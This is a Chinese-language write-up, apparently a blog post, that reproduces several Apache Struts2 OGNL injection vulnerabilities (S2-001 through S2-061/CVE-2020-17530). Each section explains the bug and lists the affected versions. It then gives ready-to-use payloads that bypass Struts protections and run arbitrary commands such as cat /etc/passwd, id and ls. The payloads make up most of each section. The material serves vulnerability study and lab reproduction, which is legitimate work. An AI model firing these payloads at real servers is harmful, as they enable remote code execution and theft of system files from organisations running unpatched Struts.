【漏洞复现】Struts2 系列漏洞复现

一、Struts2 概述

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。

Struts 2是Apache 软件基金会下的Struts 1的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大,旨在提供更灵活、更强大的 MVC 架构来帮助开发者构建应用程序。

二、s2-001 漏洞复现

1、漏洞原理

用户提交表单数据验证失败时,会将用户之前提交的参数值使用OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。如注册、登陆页面,提交失败后会默认返回之前提交的数据,且在后端使用 %{value} 对提交的数据进行了一次OGNL 表达式解析,因此可以直接构造payload 进行命令执行。

2、影响版本

Struts 2.0.0 - 2.0.8

3、漏洞复现

image-20240519150608509

测试是否存在该漏洞,提交%{'123'},返回结果为123

image-20240519150709336

利用 OGNL 表达式来访问Java 系统属性

1
tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}

给到了用户的工作目录

image-20240519151140263

执行任意命令

1
2
3
4
5
6
7
8
9
10
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close()
}

image-20240519151253042

三、s2-005 漏洞复现

1、漏洞原理

s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开

2、影响版本

Struts 2.0.0-2.1.8.1

3、漏洞复现

在URL 上添加GET请求

1
?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/1.txt%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

image-20240519153246335

四、s2-007 漏洞复现

1、漏洞原理

在用户登陆中,age 字段用户可控,传递一个非整数的值 会导致错误,而输入的非整数的值会被当作 ONGL 表达式执行,造成代码执行漏洞

2、影响版本

Struts 2.0.0 - 2.2.3

3、漏洞复现

1
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ls%20/%27%29.getInputStream%28%29%29%29+%2B+%27

image-20240519155052688

image-20240519155138909

五、s2-008 漏洞复现

1、漏洞原理

S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,但是这种情况在生产环境中几乎不可能存在,所以还是很鸡肋。

2、影响版本

Struts 2.1.0 – 2.3.1

3、漏洞复现

image-20240519155541080

1
devmode.action?debug=command&expression=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=id

image-20240519155800147

image-20240519155826251

六、s2-009 漏洞复现

1、漏洞原理

OGNL提供了广泛的表达式评估功能,可以将任何暴露的字符串变量中的恶意表达式注入该功能。其中 ParametersInterceptor 中的正则表达式将top['foo'](0)作为有效的表达式进行匹配,而OGNL 正好将该参数的值作为OGNL的表达式进行求值达成RCE。由于OGNL 语句在HTTP参数中,攻击者可以使用黑名单字符(例如 # )禁用方法执行并执行任意方法,绕过ParametersInterceptor 和OGNL 库的保护。

2、影响版本

Struts 2.1.0 - 2.3.1.1

3、漏洞复现

1、首页

image-20240521151249574

2、漏洞存在的功能点

image-20240521151422926

3、构造POC

1
http://xxx.xxx/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%22cat%20/etc/passwd%22).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

image-20240521152029957

七、s2-061 漏洞复现(CVE-2020-17530)

1、漏洞原因

Apache Struts2 框架是一个用于开发Java EE 网络应用程序的Web 框架。该漏洞中,Struts2 会对某些变迁属性(如id等) 的属性值进行二次表达式解析,这些标签使用%{}的形式,当内容的值可控时,如%{payload},会造成OGNL 表达式代码执行漏洞。

2、影响版本

Struts 2.0.0 - 2.5.25

3、漏洞复现

1、首页

image-20240521153309700

2、查看是否存在漏洞,id变为49,存在漏洞

image-20240521154118205

3、加上POC

1
?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))}

![image-20240521154308136/img/VulnRep-Struts2/-20240521154308136.png)